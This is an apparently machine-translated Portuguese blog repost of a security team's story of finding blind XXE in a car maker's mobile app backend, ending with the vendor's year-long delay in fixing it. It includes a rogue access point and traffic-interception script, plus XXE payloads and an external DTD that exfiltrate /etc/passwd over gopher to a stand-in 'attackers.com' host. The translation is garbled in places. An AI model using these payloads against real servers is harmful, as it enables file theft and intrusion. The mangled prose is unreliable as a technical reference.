Hacking carro para Plebs - The Untold Story


Quão ruim aplicações web afetar a segurança do seu veículo

Após a publicação deste post, ele veio ao nosso conhecimento que tinha identificado uma série de outros pesquisadores e relatou a mesma vulnerabilidade exata. Apesar disso, a correção ainda levou mais de um ano. Isso demonstra uma falha típica do processo de "divulgação responsável". Quantos outros podem ter identificado esta vulnerabilidade e quais são as chances tudo o que tinha boas intenções?

Intro

Nos últimos anos, o mundo da segurança ouviu uma série de novidades sobre a "Internet das Coisas". Vulnerabilidades no tudo, desde torradeiras até sistemas de automação doméstica têm sido demonstrados, emprestando mais e mais credibilidade aos ataques estilo "cinema de hacking" (verifique se piscina em seu telhado para fugas).
Seguindo uma tendência semelhante, na conferência de segurança BlackHat no ano passado hackers carro bem conhecidos Charlie Miller e Chris Valasek fez um splash com o primeiro ataque totalmente remoto contra um grande número de veículos Jeep. O ataque se baseou no fato de que estas unidades de veículos de cabeça, na verdade, conectar-se à Internet através da rede móvel Sprint - a mesma rede usada por telefones celulares da Sprint. Ao conectar-se a essa mesma rede, foi possível identificar os veículos alvo e vulnerabilidades no software que roda em um número de unidades de cabeça!
Nossa aventura acidental em pirataria carro começa antes disso, de volta nos dias quando "carro hacking" equitação envolvidos no banco do passageiro do veículo "alvo" em meio a uma confusão de fios, com o computador ligado ao traço. Charlie e Chris encontraram recentemente uma maneira muito interessante para o coração do carro remotamente a partir da Internet. Neste post, vamos mostrar que existe mais de uma maneira de esfolar um gato, mesmo se você não pode pagar um carro novo.

Nunca na programação, sempre a tempo

Qualquer história que começa com 4 hackers amontoados em um pequeno quarto sem nada para fazer é obrigado a acabar mal. Infelizmente, é aí que este conto começa.
Em uma manhã de julho ensolarado no nosso pequeno escritório 26º andar (escritório 2,600 na verdade), nossa equipe de segurança ofensiva tinha vêm de todo o país por algum tempo face. No quarto foram os nossos 4 consultores e uma confusão de hardware a partir de uma tentativa fracassada de construir uma máquina quebra de senha - um dos projetos para a semana. Esses semana longos encontros acontecem apenas um par de vezes por ano e geralmente são agendadas em torno de projetos de clientes interessantes para que a equipe pode colaborar em pessoa, geralmente resultando em pwnage grave e muitas novas idéias. Infelizmente, devido aos clientes a ser clientes que não seria o caso.
No primeiro dia de teste marcada, tudo se desfez. Os dois projetos que haviam sido alinhados foram atrasados ​​por razões além de nosso controle. Além disso, o hardware para a máquina de quebra de senha provou ser particularmente bonked e os nossos esforços com um ferro de solda foi recompensada. Por dia 2, tivemos 4 hackers em um pequeno escritório e nada a ver ...

Hackers gon 'Hack

Depois de chegar fashionably tarde, nosso technophile residente e IoT afficionado, David, começou a contar o seu mais recente projeto. Aparentemente, um grande fornecedor de produtos de segurança em casa instalou recentemente um novo sistema em sua casa que opera através principalmente fora do hardware prateleira. Uma rede sem fio padrão 802.11 é levantou-se assim que os sensores e dispositivos podem se comunicar. Esta rede é protegida por uma chave WPA2 que não é fornecida ao utilizador final - inaceitável para David.
Para além dos riscos evidentes colocados por tal sistema (exposição do sistema de geração de chaves, a negação trivial de serviço através de um forno de microondas, etc ...), David também mencionou que ele veio com um app móvel legal para que você possa gerenciar sua segurança sistema remotamente!
Ao ouvir isso, Steve girou-se um ponto de acesso sem fio usando base aérea-ng e imediatamente digitados em uma série de comandos do iptables, totalmente sintaticamente corretamente na primeira tentativa - um feito digno de seu próprio blog. Parecia algo como o seguinte:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
#Device mon0 must be monitor mode from airmon-ng and script must be run as root.
#Be sure to modify the IP address in the last 3 iptables commands. The first one should be the gateway, the last two should be your internal IP
#To modify to proxy through Mallory, just set the port to the Mallory port (20755).
sudo su
airmon-ng start wlan0
service network-manager stop
sleep 5
ifconfig eth0 up
dhclient eth0
airbase-ng -c 7 -e CONNECT_HERE mon0 &
sleep 5
ifconfig at0 up
ifconfig at0 192.168.2.129 netmask 255.255.255.128
route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129
dhcpd -d -f  -pf /var/run/dhcp-server/dhcpd.pid at0 &
sleep 5
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 8.8.8.8
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.174.162:54321
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.174.162:54321
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.174.162:54321
iptables -t nat -A PREROUTING -p tcp --dport 8443 -j DNAT --to-destination 192.168.174.162:54321
Em seguida, a ferramenta "BurpSuite" foi lançado e configuração para escutar na porta 54321. O efeito líquido era que uma rede sem fio chamado CONNECT_HERE foi criado. Para qualquer dispositivo conectado à rede, todo o tráfego destinado a serviços HTTP relacionados (portas 80,443,8080 e 8443) seriam, em vez enviado para a ferramenta BurpSuite, onde ele poderia ser inspecionados, modificados e reproduzidos.
Este post não é sobre sistemas de segurança (talvez uma outra vez). Basta dizer que, em pouco tempo a equipe encontrou uma maneira de desligar o sistema de segurança David (e de qualquer outra pessoa) sem a sua senha. Diversão.

O que sobre os carros?

Certo, de volta aos trilhos. Sentindo-se imparável, e na posse de telefone de David, Justin fez uma observação interessante. Aparentemente, David tinha recentemente comprado um carro novo, o que surpreendeu ninguém como ele parece mudar carros mais frequentemente do que a maioria de nós mudar cueca. Este novo carro veio com um aplicativo móvel conveniente serviço que permite ao usuário controlar o fechaduras, buzina, alarme, pode localizar remotamente o carro via GPS, etc ...
Infelizmente, nós não conseguimos uma grande oportunidade para um profundo olhar para esta aplicação para falar em detalhes sobre como ele lida com a autenticação, autorização e registro de que tudo seria assuntos muito interessantes. O que fizemos foi fazer conectá-lo à nossa rede "CONNECT_HERE" e dar uma olhada no tráfego da aplicação estava gerando.

XML XXE WTF FTW

Ao ver o tráfego em Burp, tornou-se imediatamente evidente que a aplicação estava se comunicando com o servidor back-end usando uma API baseada em XML. O seguinte foi o primeiro pedido vimos originam a partir do telefone para o servidor (note que todos os nomes de empresas e informação pessoal de David foram censurados ou modificado):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /mobileservices/services/accountservice/authenticateV2/ HTTP/1.1
Host: carcompany.someprovider.com
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Content-Length: 402
Accept-Language: en-us
Accept: */*
Connection: keep-alive
User-Agent: CarCompany Application
MAPP
TOS
xxxxxxxx 2014-07-10%2017:36:10
CarCompany
US
iPhone
12345678
1234 ab123babdbabababababababa123bababababa123babababababababababa123
101329
Uma das primeiras coisas que procurar quando vendo XML é uma vulnerabilidade chamado XML Entidade Externa Injection ou XXE.

XXE XML

XXE XML é uma falha comum Apresentar por desenvolvedores de aplicativos ao manusear parsing de XML de entrada. Qualquer um tempo de aplicação Web envia XML para o servidor, o servidor para fazer uso dos dados XML precisa a ser analisado. Essa análise é normalmente realizada com um punhado de bibliotecas off-the-shelf.
Os desenvolvedores desses bibliotecas tomou a decisão de que uma característica em XML conhecido como "entidades externas" deve ser ativada por padrão, e que é até o desenvolvedor do aplicativo para desativá-lo. Um documento XML simples que demonstra entidades externas é mostrado abaixo:
1
2
3
<!--?xml version="1.0"?-->
<!ENTITY xxe SYSTEM "file:///home/notes.txt" >]>
&xxe;
O exemplo simples acima levaria o conteúdo do arquivo "notes.txt" e inseri-los no documento XML sob a tag "fileContent". Tendo em mente que este código está sendo executado no servidor e que o cliente não confiável, ou potencial atacante, é aquele que especifica a entrada XML - Eu tenho certeza que você pode ver o problema. Um atacante pode ler arquivos arbitrários e listar o conteúdo de diretórios de em sistema de arquivos do servidor. Além disso, se em vez de solicitar um "file: //" local do servidor, o atacante especifica "http://" o servidor fará uma solicitação HTTP para o URL especificado.
Isto, em combinação com o fato de que os servidores de aplicativos podem ser gerenciados através de HTTP e que as credenciais para as interfaces da web, muitas vezes residem em arquivos no servidor local, muitas vezes leva ao desastre. Há uma série de outros truques XXE mais complexos, como o uso do protocolo Gopher para enviar dados TCP quase arbitrários, forçar o servidor para interagir com serviços não HTTP, mas não vamos entrar em esses aqui.

XXE na Aplicação Car

Com um pouco melhor compreensão da vulnerabilidade XXE, vamos dar um outro olhar para o pedido feito pela aplicação do carro, e que uma carga útil XXE inserido nessa solicitação pode parecer:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /mobileservices/services/accountservice/authenticateV2/ HTTP/1.1
Host: carcompany.someprovider.com
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Content-Length: 402
Accept-Language: en-us
Accept: */*
Connection: keep-alive
User-Agent: CarCompany Application
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://abcd.dns.attackers.com/" >]>
MAPP
TOS
xxxxxxxx 2014-07-10%2017:36:10
CarCompany
US
iPhone
12345678
&xxe; ab123babdbabababababababa123bababababa123babababababababababa123
101329
Um leitor astuto pode ver um problema com nossa descrição anterior de XXE, tudo bem, nós estávamos apenas mantê-lo no seu pé. Embora seja verdade que podemos forçar o servidor para ler os arquivos off do seu sistema de arquivo com uma solicitação de HTTP, não podemos necessariamente forçá-lo a enviar os resultados de que a leitura de volta para nós na resposta.
O que podemos fazer, porém, é forçar o servidor a fazer uma solicitação HTTP de saída para um servidor que possui na Internet através XXE. Mesmo se nós não vemos o resultado desse pedido directamente, uma vez que possui o servidor em "abcd.dns.attackers.com" podemos verificar nossos registros para ver se ele veio através de; portanto confirmando nosso ataque XXE sobre o alvo foi bem sucedida. Mesmo craftier, é para nós como atacantes para o próprio servidor DNS para o domínio "dns.attackers.com". Quando a máquina de destino tenta procurar o registro DNS para "abcd.dns.attackers.com", como mostrado na carga útil acima, podemos ver a pesquisa de DNS em nossos registros. No caso em que o tráfego HTTP de saída está sendo bloqueada pelo servidor de destino, ainda teremos a confirmação do sucesso.
Como Justin e Steve se sentaram lado a lado prestes a disparar a carga útil, David e Ketil foram mexer com a máquina quebra no fundo. Na tela de Justin foi a sessão SSH para o servidor em abcd.dns.attackers.com, monitorando os logs, Steve estava correndo arroto. Nem Justin ou Steve realmente esperava que isso funcione, mas valia a pena tentar. Pouco depois de Steve apertar o botão "Go" em Burp Repeater Justin gritou "OH SH * T!", Indicando sucesso. Ketil e David, feita totalmente de surpresa saltou para cima para ver o que toda a comoção era sobre - não está claro se a Davi sabia que estávamos cortando seu carro neste momento.

Não So Blind XXE

Se este fosse um teste de penetração real (ou de ataque), XXE seria apenas o primeiro passo, o dedo do pé crucial na porta. A partir daqui os atacantes se moveria na rede interna da empresa, usando esta máquina inicial como um pivô. Embora não seja trivial, não tivemos uma única instância em um real engajamento onde XXE foi descoberto e nós não encontrar alguma maneira de aproveitá-lo para comprometer uma máquina interna.
Uma vez que este não era um teste de penetração ou ataque, os atacantes apenas deu mais um passo para demonstrar a gravidade da vulnerabilidade durante o "responsável" processo de divulgação. Como a maioria das pessoas não sabe o que XXE é, ou como este tipo de "Blind" XXE pode ser aproveitado para recuperar arquivos, decidimos puxar o arquivo "/ etc / passwd" do sistema remoto para demonstrar.
Aproveitando alguns truques XML mais legal, o seguinte pedido foi enviado:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /mobileservices/services/accountservice/authenticateV2/ HTTP/1.1
Host: carcompany.someprovider.com
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Content-Length: 402
Accept-Language: en-us
Accept: */*
Connection: keep-alive
User-Agent: CarCompany Application
<!ELEMENT foo ANY >
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://abcd.dns.attackers.com/file.dtd">
%dtd;]>
MAPP
TOS
xxxxxxxx 2014-07-10%2017:36:10
CarCompany
US
iPhone
12345678
&send; ab123babdbabababababababa123bababababa123babababababababababa123
101329
O pedido acima faz referência a um arquivo no, atacante controlado servidor remoto http://abcd.dns.attackers.com/file.dtd Esse arquivo contém o seguinte XML:
1
2
3
<!--?xml version="1.0" encoding="ISO-8859-1"?-->
<!ENTITY % all "<!ENTITY send SYSTEM 'gopher://abcd.dns.attackers.com:443/xxe?%file;'>">
%all;
Em essência, o servidor de destino está sendo solicitado para solicitar o recurso "gopher: //abcd.dns.attackers.com: 443 / XXe arquivo%;?". Neste caso, porém estamos alavancando o ataque XXE para garantir que o "file%" contém o conteúdo do "/ etc / passwd" (ou qualquer outro) arquivo no servidor de destino. A razão pela qual nós usamos o protocolo Gopher aqui é que ele é tolerante com caracteres estranhos, como novas linhas que causariam uma solicitação de HTTP a se comportar mal. Com Gopher podemos colocar conteúdo quase arbitrário no URI e ter o pedido percorrer - muito grande!
Então, como é que vamos realmente receber o conteúdo do arquivo / etc / passwd? Bem, se você olhar de perto a pedido Gopher, ele está sendo enviado para "abcd.dns.attackers.com" na porta TCP 443. Nós podemos apenas começar um ouvinte netcat e esperar que as mercadorias a rolar como mostrado abaixo!
passwd

Impacto hipotética

Em teoria, a essa altura o aplicativo que recebe a comunicação de dispositivos móveis dos usuários e, em seguida, transmite os comandos ao seu carro, está comprometida. O que isso significa para David e seus pares?
Em primeiro lugar, não está claro se esta vulnerabilidade está contida a única fabricante que testamos em. O provedor que hospeda o serviço vulnerável é uma grande empresa - o pedido XML tinha um campo para "empresa":
1
CarCompany
Esta vulnerabilidade provavelmente afetado vários fornecedores de carros.
Em segundo lugar - uma vez que um servidor de aplicação está comprometida, o banco de dados quase sempre segue rapidamente. O aplicativo precisa falar com o banco de dados e credenciais para ele pode ser encontrado nos arquivos de configuração. Isto significa que a lista completa de carros e credenciais para controlá-los através da aplicação provavelmente teria sido disponíveis para os atacantes.
Incluem-se nesta controlo seria, pelo menos:
Capacidade -GPS Rastreamento
-Faça E Modelo informações
-Controle De fechaduras e luzes
Há provavelmente muitos outros grandes recursos, bem como, David, desde então, mudou-se para um carro novo e não temos mais acesso ao aplicativo para referência.
Ainda mais preocupantes são ataques remotos contra ônibus CAN do carro. Charlie e Chris teve que saltar através de alguns aros para obter a partir do console de mídia para o bus CAN. Este aplicativo foi falar diretamente com os sistemas na rede CAN para executar os tipos de operações que é responsável. O que isto significa, é que é possível que um invasor poderia ganhar o controle remoto completo de sistemas eletrônicos em todos os veículos afetados.

Divulgação Responsável

Nossa equipe estendeu a mão para o vendedor afectado, eventualmente, entrar em contato com a segurança de TI. A questão foi descrita e um relatório oficial escalada foi entregue. O vendedor parecia inquieto e despreparados para lidar com essa escalada; no entanto a recepção do relatório foi confirmada.
Avanço rápido seis meses, nossa equipe decidiu verificar o status do problema. O pedido salvos foi carregado na BurpSuite e enviado para o servidor remoto. Claro o suficiente - ainda vulnerável.
Não foi até Justin estendeu a mão para o fornecedor novamente, um ano após a divulgação original, que a vulnerabilidade foi realmente corrigido. A correção neste caso é uma correção muito rápida no código de análise XML. Esta não é a primeira vez que nossa equipe tem visto este tipo de reação lenta a partir de uma grande empresa para uma vulnerabilidade crítica no software nível alto perfil.
Infelizmente, o "responsável" na divulgação responsável nem sempre se aplica ao grupo responsável por criar o problema, mas o que encontrou. Essas experiências dar credibilidade às políticas de divulgação vulnerabilidade como processo do Google "divulgação coordenada", onde após 3 meses o bug vai público independentemente

créditos dos autores citados no tutorial

Postagem mais recente Postagem mais antiga Página inicial

Populares

Recente

Software Avançado De Investigação Forense Móvel

O MOBILedit Forensics é um software forense avançado para telefones, que  extrai  e  analisa profundamente o conteúdo do telefone,  incluind...